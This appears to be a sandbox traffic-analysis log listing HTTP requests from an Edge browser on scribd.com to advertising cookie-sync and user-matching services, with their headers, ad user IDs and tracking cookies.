Source: global traffic	HTTP traffic detected: GET /cs?aid=11587&uid=e52952e5-ebc8-4e6b-85e8-7ec945393abe&gdpr=0 HTTP/1.1Host: cs.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=primis&zcc=1&cb=1739863217244 HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?aid=11601&id=702e3c9541d971a791932fa4f91bad3&gdpr_consent=&gdpr=0 HTTP/1.1Host: cs.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /i/882/8.gif?o=api&id5id=ID5PLK6J87bZd3qn33SXG2Vk6jJFvUGb5f_w1dO7B7EXRn6ZYzWDk0HiclqRpX_sf2D&gdpr_consent=undefined&gdpr=false&gpp=DBACOe%7ECQNBgcAQNBgcAEXikAENA0EwAP_gAEPgACiQGpQCgAGgAcABoAEUAJgAUABHALhAXmA1IC84A4AHAAaABFACYAFAARwC8wAA%7EBQNBgcAQNBgcAEXikAENA0CgAf_AAIfAAAalAKAAaABwAGgARQAmABQAEcAuEBeYDUgLzgDgAcABoAEUAJgAUABHALzA%7E1-N-&gpp_sid=6 HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=rise&tc=1 HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: ts=1739863216
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /redirectuser?consent_string=&gdpr=0&r=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11612%26id%3D%24UID&sid=716 HTTP/1.1Host: ssp.disqus.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11563&id=5efa61bd-574f-4c56-bd4b-0ee5e129814c HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /api/sync?callerId=77&gdpr=0&gdpr_consent= HTTP/1.1Host: ssbsync.smartadserver.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /us?consent_string=&gdpr=0&loc=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D115667%26uid%3D%5BUID%5D HTTP/1.1Host: sync.go.sonobi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync/disqus?puid=ua-a477c4ab-523e-3704-8093-8c5ca34f678b&gdpr=0&gdpr_consent=&us_privacy=&cb=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D33%26buyeruid%3D__ZUID__%26r%3DCid1YS1hNDc3YzRhYi01MjNlLTM3MDQtODA5My04YzVjYTM0ZjY3OGIqYmh0dHBzOi8vY3Mtc2VydmVyLXMycy55ZWxsb3dibHVlLmlvL2NzP2Z3cmQ9MSZhaWQ9MTE2MTImaWQ9dWEtYTQ3N2M0YWItNTIzZS0zNzA0LTgwOTMtOGM1Y2EzNGY2NzhiMgIhKTgB HTTP/1.1Host: b1sync.zemanta.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /visitor/bsync?name=risecode&uid=40a3c28f9ffc73ee86df2bac2d2bb390&url=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11609%26id%3D%5BBUYER_ID%5D%0A HTTP/1.1Host: visitor-risecode.omnitagjs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=appnexus&userId=2630127119070967565&gdpr=&gdpr_consent=&us_privacy=&gdpr=&gdpr_consent= HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=MV215d2VHlrfkTqoxsHhHxAmKR4GCA4mAk1CKGpdAgFjewkUUA9jRVtJEHhYVQUyKwlFBQ92XU1NFXtdV1dkcAhFUl9lEl9IQn8MB1dhKw5QSkliQl1JEXhRUgVneVRGU1M3QFZJRyldUQd0ZE5EVw9gRF9JR3tbVgZlKVxCV1xkFAlPFStKSBBjLl8XUltsSAwaRH8JUgJmeVsRBV9hFVtaX2peVQBjeVwTAgpgQlwZRXhYVQVuf1lCUF92XU1OQHwNXQpmfA4QVQgwRwwdF3pYBwFhfQ5QSkliQwkdRn8LBlYwf14WUl5nSV5LR31ZVFN0ZE5HAFxtRlgaRHxaXFZmKlxCV1w1ElkcRS1KSBBgfQlGX1plR10aRHAJUAUwKQpBUVs3EA1aX2peUlcyelsTV11hQF1JRHBeVAdleghCAgl2XU1OQX5RVgsyLltBBQk3SVdBEnAMVgowe1xQSkliR1xIEnpcAQpiLVgWUVI1SFdAFy1cUAZ0ZE5EUw83R1ZAFS5fVgc3eVsWBAlhQQxOEn9KSBBgfl1FAlxnEA0dSnpaBwRgLAlDBAhtR19aX2peUQZlf11BAw82E1ZMQHhQAAc1eFxKXl92XU1ORykJAFZuKg1BAglsRwkZEnkJUws3fg5QSkliRAoeQHxYUAVueVQWUQ1mF1ccEnhZUFB0ZE5EUggySFlIRHpaUlRmK1xAAl9sR1sdEi1KSBBgfg1FX15mR11MFy0LUwoycFRHVQ8xElpaX2peVlQzfQpGVA4yEFpNRXgKUgVleQhGBwl2XU1OQXgJVgRheA4XBQkyE1ZPRnxfUgVmKQhQSkliRwlBQywJUwYzcApFV1lnQ1tARXELVwJ0ZE5EUVxmEgweS3ELAlMwfA9AUVplQltKFnxKOR50LwgCFEluCk0RAA09RggwKQABA0d2FgsIAWpSRhB6agsWFhkXHgELFiYcRgh0akBQExgEAwYOEisRRgh0eUE8S0l4UwgIA2pSRhB6agsCFjg9FU1CUWpERkAzLAUAAwggU1VaGzwcFEFsZ0MHFRl6BAEcFjocC1wzZg8dC0QhAgoKIyEQAV55OxUcBVQkEB0MHS0aLVZrfVVUEwIwTEsDBS
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=appnexus&userId=2630127119070967565&gdpr=&gdpr_consent=&us_privacy=1-N-&gdpr=&gdpr_consent= HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=MV215d2VHlrfkTqoxsHhHxAmKR4GCA4mAk1CKGpdAgFjewkUUA9jRVtJEHhYVQUyKwlFBQ92XU1NFXtdV1dkcAhFUl9lEl9IQn8MB1dhKw5QSkliQl1JEXhRUgVneVRGU1M3QFZJRyldUQd0ZE5EVw9gRF9JR3tbVgZlKVxCV1xkFAlPFStKSBBjLl8XUltsSAwaRH8JUgJmeVsRBV9hFVtaX2peVQBjeVwTAgpgQlwZRXhYVQVuf1lCUF92XU1OQHwNXQpmfA4QVQgwRwwdF3pYBwFhfQ5QSkliQwkdRn8LBlYwf14WUl5nSV5LR31ZVFN0ZE5HAFxtRlgaRHxaXFZmKlxCV1w1ElkcRS1KSBBgfQlGX1plR10aRHAJUAUwKQpBUVs3EA1aX2peUlcyelsTV11hQF1JRHBeVAdleghCAgl2XU1OQX5RVgsyLltBBQk3SVdBEnAMVgowe1xQSkliR1xIEnpcAQpiLVgWUVI1SFdAFy1cUAZ0ZE5EUw83R1ZAFS5fVgc3eVsWBAlhQQxOEn9KSBBgfl1FAlxnEA0dSnpaBwRgLAlDBAhtR19aX2peUQZlf11BAw82E1ZMQHhQAAc1eFxKXl92XU1ORykJAFZuKg1BAglsRwkZEnkJUws3fg5QSkliRAoeQHxYUAVueVQWUQ1mF1ccEnhZUFB0ZE5EUggySFlIRHpaUlRmK1xAAl9sR1sdEi1KSBBgfg1FX15mR11MFy0LUwoycFRHVQ8xElpaX2peVlQzfQpGVA4yEFpNRXgKUgVleQhGBwl2XU1OQXgJVgRheA4XBQkyE1ZPRnxfUgVmKQhQSkliRwlBQywJUwYzcApFV1lnQ1tARXELVwJ0ZE5EUVxmEgweS3ELAlMwfA9AUVplQltKFnxKOR50LwgCFEluCk0RAA09RggwKQABA0d2FgsIAWpSRhB6agsWFhkXHgELFiYcRgh0akBQExgEAwYOEisRRgh0eUE8S0l4UwgIA2pSRhB6agsCFjg9FU1CUWpERkAzLAUAAwggU1VaGzwcFEFsZ0MHFRl6BAEcFjocC1wzZg8dC0QhAgoKIyEQAV55OxUcBVQkEB0MHS0aLVZrfVVUEwIwTE
Source: global traffic	HTTP traffic detected: GET /api/user/image/55537adc33d1b40300987e8e?gdpr=&gdpr_consent=&redirect=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D%24%7BvdzUserSyncMacro%7D HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=MV215d2VHlrfkTqoxsHhHxAmKR4GCA4mAk1CKGpdAgFjewkUUA9jRVtJEHhYVQUyKwlFBQ92XU1NFXtdV1dkcAhFUl9lEl9IQn8MB1dhKw5QSkliQl1JEXhRUgVneVRGU1M3QFZJRyldUQd0ZE5EVw9gRF9JR3tbVgZlKVxCV1xkFAlPFStKSBBjLl8XUltsSAwaRH8JUgJmeVsRBV9hFVtaX2peVQBjeVwTAgpgQlwZRXhYVQVuf1lCUF92XU1OQHwNXQpmfA4QVQgwRwwdF3pYBwFhfQ5QSkliQwkdRn8LBlYwf14WUl5nSV5LR31ZVFN0ZE5HAFxtRlgaRHxaXFZmKlxCV1w1ElkcRS1KSBBgfQlGX1plR10aRHAJUAUwKQpBUVs3EA1aX2peUlcyelsTV11hQF1JRHBeVAdleghCAgl2XU1OQX5RVgsyLltBBQk3SVdBEnAMVgowe1xQSkliR1xIEnpcAQpiLVgWUVI1SFdAFy1cUAZ0ZE5EUw83R1ZAFS5fVgc3eVsWBAlhQQxOEn9KSBBgfl1FAlxnEA0dSnpaBwRgLAlDBAhtR19aX2peUQZlf11BAw82E1ZMQHhQAAc1eFxKXl92XU1ORykJAFZuKg1BAglsRwkZEnkJUws3fg5QSkliRAoeQHxYUAVueVQWUQ1mF1ccEnhZUFB0ZE5EUggySFlIRHpaUlRmK1xAAl9sR1sdEi1KSBBgfg1FX15mR11MFy0LUwoycFRHVQ8xElpaX2peVlQzfQpGVA4yEFpNRXgKUgVleQhGBwl2XU1OQXgJVgRheA4XBQkyE1ZPRnxfUgVmKQhQSkliRwlBQywJUwYzcApFV1lnQ1tARXELVwJ0ZE5EUVxmEgweS3ELAlMwfA9AUVplQltKFnxKOR50LwgCFEluCk0RAA09RggwKQABA0d2FgsIAWpSRhB6agsWFhkXHgELFiYcRgh0akBQExgEAwYOEisRRgh0eUE8S0l4UwgIA2pSRhB6agsCFjg9FU1CUWpERkAzLAUAAwggU1VaGzwcFEFsZ0MHFRl6BAEc
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160318&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160318%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fusr.undertone.com%252FuserPixel%252Fsync%253FpartnerId%253D53%2526uid%253D%2523PMUID HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D98%26uid%3D$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /ups/58545/occ HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
